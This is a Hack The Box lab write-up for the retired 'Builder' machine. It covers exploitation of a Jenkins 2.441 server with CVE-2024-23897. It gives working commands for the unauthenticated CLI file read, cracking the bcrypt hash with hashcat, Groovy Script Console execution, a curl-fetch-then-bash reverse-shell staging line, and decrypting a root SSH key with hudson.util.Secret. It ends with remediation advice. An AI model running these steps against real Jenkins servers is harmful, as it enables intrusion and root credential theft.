Builder — Unauthenticated Jenkins CLI File Read to Root Credential Recovery
- Tools
- nmap, jenkins-cli, hashcat, ssh
- Skill demonstrated
- Jenkins attack-surface analysis from unauthenticated file disclosure to credential-store abuse
- Tags
At a glance
Section titled “At a glance”| Field | Value |
|---|---|
| Difficulty | Medium |
| Target environment | Linux (Ubuntu) host running a Jenkins 2.441 CI/CD server |
| Starting position | Unauthenticated network access |
| Objective | Escalate from unauthenticated Jenkins CLI file disclosure to root access through a recovered password hash and stored deployment credentials |
| Outcome | Code execution as the jenkins service account and root SSH access via a credential-store private key |
Summary
Section titled “Summary”Builder is a Medium-rated Hack The Box Linux lab centred on a Jenkins CI/CD server affected by CVE-2024-23897. An unauthenticated file read in the Jenkins CLI exposes the user index and a per-user configuration file, yielding a bcrypt password hash; offline recovery enables authentication, the Groovy Script Console then provides operating-system command execution as the Jenkins service account, and a root SSH private key held in the Jenkins credential store is decrypted through Jenkins’ own secret API. Target addresses, the account identity, hash and credential values, the private key, and payload specifics are replaced with role-based placeholders or omitted; command syntax is preserved.
Attack path: Unauthenticated Jenkins CLI @ file read (CVE-2024-23897) → users index → per-user config.xml → bcrypt password hash → offline recovery → Jenkins authentication → Script Console execution as jenkins → credentials.xml root SSH key → hudson.util.Secret decryption → root SSH access
Context and Objective
Section titled “Context and Objective”- Target: an Ubuntu Linux host exposing SSH and a Jenkins CI/CD server over HTTP.
- Recorded services: OpenSSH 8.9p1 on port 22 and Jetty 10.0.18 serving the Jenkins dashboard on port 8080.
- Jenkins version: 2.441, confirmed from the HTTP response headers and the
/loginpage. - Starting position: unauthenticated network access, with no provided credentials.
- Objective: assess the impact of unauthenticated Jenkins CLI file disclosure, the administrative Script Console, and the credentials held in the Jenkins store.
- Constraints: activity was confined to the Hack The Box lab environment.
Approach and Evidence
Section titled “Approach and Evidence”1. Service Enumeration
Section titled “1. Service Enumeration”Observation: a full TCP scan exposes SSH and a Jenkins dashboard whose title and versions identify the CI/CD server.
nmap -sC -sV -p- --min-rate 5000 -oA <SCAN_OUTPUT> <TARGET_IP>Truncated scan output:
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.68080/tcp open http Jetty 10.0.18|_http-title: Dashboard [Jenkins]Significance: the dashboard title identifies a Jenkins instance, and the running version determines which Jenkins CLI behaviours apply to it.
Result: Jenkins 2.441 is identified from the HTTP response headers and the login page, alongside OpenSSH on the host.
2. Unauthenticated Jenkins CLI File Read (CVE-2024-23897)
Section titled “2. Unauthenticated Jenkins CLI File Read (CVE-2024-23897)”Observation: Jenkins 2.441 and earlier process CLI arguments beginning with @ as file paths before command handling, and the help command runs without authentication, so parse errors can disclose files readable by the Jenkins process.
java -jar <JENKINS_CLI_JAR> -s http://<TARGET_IP>:8080 help "@/var/jenkins_home/users/users.xml" 2>&1Truncated output:
<string><JENKINS_USER_DIR></string>The directory identifier is then used to request that user’s configuration file:
java -jar <JENKINS_CLI_JAR> -s http://<TARGET_IP>:8080 help "@/var/jenkins_home/users/<JENKINS_USER_DIR>/config.xml" 2>&1<passwordHash><BCRYPT_PASSWORD_HASH></passwordHash>Significance: an unauthenticated CLI request reads arbitrary files the Jenkins process can access; the users index supplies the path component of the per-user configuration, which stores the account’s password hash.
Result: the user index and a per-user config.xml are read, and a bcrypt password hash is recovered.
3. Offline Password Recovery
Section titled “3. Offline Password Recovery”Observation: the recovered value is a bcrypt hash, so it must be cracked offline rather than used directly.
hashcat -m 3200 <HASH_FILE> <WORDLIST><BCRYPT_PASSWORD_HASH>:<RECOVERED_PASSWORD>Significance: bcrypt ($2a$10$) is a deliberately slow hash, and the account password was weak enough to fall to a dictionary attack; the recovered value is the credential that authenticates to Jenkins.
Result: the account password is recovered offline.
4. Jenkins Authentication and Script Console Execution
Section titled “4. Jenkins Authentication and Script Console Execution”Observation: the Groovy Script Console executes arbitrary code with the permissions of the Jenkins process. The source records that the recovered password authenticated successfully; no separate login transcript was retained.
println "id".execute().textuid=1000(jenkins) gid=1000(jenkins)The console is also used to stage a reverse shell, preserved here only as placeholder patterns:
println "curl -o <LOCAL_STAGING_PATH> <REMOTE_URL>".execute().textprintln "bash <LOCAL_STAGING_PATH>".execute().textSignificance: the Script Console runs inside the Jenkins JVM, so its output reflects the service account’s operating-system identity; the same channel can stage an interactive shell under that identity.
Result: the id output establishes operating-system command execution as the jenkins service account.
5. Credential-Store Privilege Escalation
Section titled “5. Credential-Store Privilege Escalation”Observation: the Jenkins home directory contains credentials.xml, holding an encrypted SSH private key configured for the root user.
cat /var/jenkins_home/credentials.xml<username>root</username><privateKeySource ...><privateKey><ENCRYPTED_JENKINS_SECRET></privateKey></privateKeySource>Jenkins’ hudson.util.Secret API decrypts values protected by its own credential encryption, and the Script Console can call it:
println(hudson.util.Secret.decrypt("<ENCRYPTED_JENKINS_SECRET>"))-----BEGIN RSA PRIVATE KEY-----[key material omitted]-----END RSA PRIVATE KEY-----The recovered key authenticates directly as root:
ssh root@<TARGET_IP> -i <RECOVERED_ROOT_KEY>root@<TARGET_HOST>:~#Significance: the entry is scoped to the root account, so decrypting it converts a stored deployment secret into a privileged key, and the same Jenkins process that protects the secret is the process able to unwrap it.
Result: a root SSH private key is decrypted and used to obtain a root shell on the host.
Challenges and Decisions
Section titled “Challenges and Decisions”| Challenge | Decision | Rationale |
|---|---|---|
| The per-user configuration path is not known up front | Read /var/jenkins_home/users/users.xml first, then request that directory’s config.xml |
The @ argument reads a fixed path, so the users index supplies the per-user directory component |
| The stored SSH key is encrypted by Jenkins’ own mechanism | Decrypt with hudson.util.Secret from the Script Console |
The value is protected by the application’s credential encryption, so its API unwraps it directly |
Outcome
Section titled “Outcome”The evidence establishes unauthenticated file read through the Jenkins CLI, authenticated code execution as the jenkins service account, and root access obtained with a private key decrypted from the Jenkins credential store. The material weakness is the combination of an unauthenticated disclosure primitive, an administrative console, and a credential store holding a root key; CVE-2024-23897 is the only software vulnerability in the path.
Limitations: the credential material is not reproducible from this writeup.
Lessons and Recommendations
Section titled “Lessons and Recommendations”Each finding pairs the observed root cause with its demonstrated impact and a prioritized action. The actions are recommendations; none was validated in the lab.
- Unauthenticated Jenkins CLI file read (CVE-2024-23897). Jenkins 2.441 exposed the
@argument file read to unauthenticated requests, disclosing files readable by the service. Recommendation: upgrade to a release that addresses CVE-2024-23897 (fixed in 2.442) and disable the CLI when it is not required (jenkins.CLI.disabled=true). Detection: alert on CLI requests reaching argument parsing from unauthenticated sources. - Script Console as unrestricted code execution. The Groovy Script Console executed arbitrary code with the Jenkins process permissions. Recommendation: restrict Script Console access to a dedicated administrator identity, audit executions, and alert on use outside approved maintenance windows.
- Privileged credentials in the CI/CD credential store.
credentials.xmlheld a root SSH private key that Jenkins’ own API could decrypt. Recommendation: keep privileged infrastructure keys out of CI/CD stores and use narrowly scoped, time-limited deployment identities instead. Detection: monitor credential-store access and unexpected root SSH authentication.
References
Section titled “References”- Hack The Box — Builder (retired machine)
- NVD — CVE-2024-23897 (Jenkins CLI arbitrary file read)
- Jenkins Security Advisory 2024-01-24 (vendor advisory for CVE-2024-23897; fixed in 2.442)
- Jenkins CLI (official command-line interface documentation)
- Jenkins Script Console (Groovy script execution interface)
- Jenkins — Secret storage (
hudson.util.Secret) (credential and secret encryption API) - Hashcat (offline password recovery)
- Nmap Reference Guide